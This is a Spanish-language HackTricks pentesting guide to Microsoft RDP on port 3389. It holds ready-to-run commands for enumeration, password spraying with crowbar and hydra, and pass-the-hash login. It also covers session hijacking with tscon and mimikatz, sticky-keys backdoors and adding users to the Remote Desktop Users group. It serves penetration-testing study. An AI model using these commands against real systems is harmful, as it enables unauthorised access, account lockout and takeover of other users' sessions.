9.5 KiB
3389 - Pentesting RDP
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver a tu empresa anunciada en HackTricks o descargar HackTricks en PDF, consulta los PLANES DE SUSCRIPCIÓN!
- Consigue el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Únete al 💬 grupo de Discord o al grupo de telegram o sigue a Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de github HackTricks y HackTricks Cloud.
Configuración disponible al instante para evaluación de vulnerabilidades y pentesting. Realiza un pentest completo desde cualquier lugar con más de 20 herramientas y características que van desde el reconocimiento hasta la elaboración de informes. No reemplazamos a los pentesters: desarrollamos herramientas personalizadas, módulos de detección y explotación para darles más tiempo para investigar a fondo, obtener shells y divertirse.
{% embed url="https://pentest-tools.com/" %}
Información Básica
El Protocolo de Escritorio Remoto (RDP) es un protocolo propietario desarrollado por Microsoft, que proporciona a un usuario una interfaz gráfica para conectarse a otro ordenador a través de una conexión de red. El usuario utiliza el software cliente RDP para este propósito, mientras que el otro ordenador debe ejecutar el software servidor RDP (de aquí).
Puerto predeterminado: 3389
PORT STATE SERVICE
3389/tcp open ms-wbt-server
Enumeración
Automática
{% code overflow="wrap" %}
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
{% endcode %}
Comprueba la encriptación disponible y la vulnerabilidad a DoS (sin causar DoS al servicio) y obtiene información de NTLM Windows (versiones).
Fuerza bruta
Ten cuidado, podrías bloquear cuentas
Rociado de contraseñas
Ten cuidado, podrías bloquear cuentas
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
Conectar con credenciales/hash conocidos
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
Verificar credenciales conocidas contra servicios RDP
rdp_check.py de impacket te permite verificar si algunas credenciales son válidas para un servicio RDP:
rdp_check <domain>/<name>:<password>@<IP>
Configuración disponible al instante para evaluación de vulnerabilidades y pentesting. Ejecute un pentest completo desde cualquier lugar con más de 20 herramientas y características que van desde el reconocimiento hasta la generación de informes. No reemplazamos a los pentesters: desarrollamos herramientas personalizadas, módulos de detección y explotación para devolverles tiempo para investigar más a fondo, obtener shells y divertirse.
{% embed url="https://pentest-tools.com/" %}
Ataques
Robo de sesión
Con permisos de SYSTEM puedes acceder a cualquier sesión RDP abierta por cualquier usuario sin necesidad de conocer la contraseña del propietario.
Obtener sesiones abiertas:
query user
Acceso a la sesión seleccionada
tscon <ID> /dest:<SESSIONNAME>
Ahora estarás dentro de la sesión RDP seleccionada y habrás suplantado a un usuario utilizando solo herramientas y características de Windows.
Importante: Cuando accedas a sesiones RDP activas, expulsarás al usuario que la estaba utilizando.
Podrías obtener contraseñas del proceso volcándolo, pero este método es mucho más rápido y te permite interactuar con los escritorios virtuales del usuario (contraseñas en el bloc de notas sin haberse guardado en disco, otras sesiones RDP abiertas en otras máquinas...)
Mimikatz
También podrías usar mimikatz para hacer esto:
ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session
Sticky-keys & Utilman
Combinando esta técnica con stickykeys o utilman podrás acceder a un CMD administrativo y a cualquier sesión de RDP en cualquier momento
Puedes buscar RDPs que han sido comprometidos con una de estas técnicas ya con: https://github.com/linuz/Sticky-Keys-Slayer
Inyección de Proceso en RDP
Si alguien de un dominio diferente o con mejores privilegios inicia sesión vía RDP en el PC donde eres Admin, puedes inyectar tu beacon en su proceso de sesión de RDP y actuar como él:
{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %} rdp-sessions-abuse.md {% endcontent-ref %}
Agregar Usuario al grupo de RDP
net localgroup "Remote Desktop Users" UserLoginName /add
Herramientas Automáticas
AutoRDPwn es un marco de post-explotación creado en Powershell, diseñado principalmente para automatizar el ataque Shadow en computadoras con Microsoft Windows. Esta vulnerabilidad (listada como una característica por Microsoft) permite a un atacante remoto ver el escritorio de su víctima sin su consentimiento, e incluso controlarlo a demanda, utilizando herramientas nativas del propio sistema operativo.
- EvilRDP
- Controlar el ratón y el teclado de manera automatizada desde la línea de comandos
- Controlar el portapapeles de manera automatizada desde la línea de comandos
- Crear un proxy SOCKS desde el cliente que canaliza la comunicación de red hacia el objetivo a través de RDP
- Ejecutar comandos SHELL y PowerShell arbitrarios en el objetivo sin subir archivos
- Subir y descargar archivos hacia/desde el objetivo incluso cuando las transferencias de archivos están deshabilitadas en el objetivo
Comandos Automáticos de HackTricks
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Remote Desktop Protocol (RDP) is a proprietary protocol developed by Microsoft, which provides a user with a graphical interface to connect to another computer over a network connection. The user employs RDP client software for this purpose, while the other computer must run RDP server software
https://book.hacktricks.xyz/pentesting/pentesting-rdp
Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
Configuración disponible al instante para evaluación de vulnerabilidades y pentesting. Ejecute un pentest completo desde cualquier lugar con más de 20 herramientas y características que van desde el reconocimiento hasta la elaboración de informes. No reemplazamos a los pentesters: desarrollamos herramientas personalizadas, módulos de detección y explotación para devolverles tiempo para investigar más a fondo, obtener shells y divertirse.
{% embed url="https://pentest-tools.com/" %}
Aprende a hackear AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver a tu empresa anunciada en HackTricks o descargar HackTricks en PDF consulta los PLANES DE SUSCRIPCIÓN!
- Consigue el merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección de NFTs exclusivos
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de github de HackTricks y HackTricks Cloud.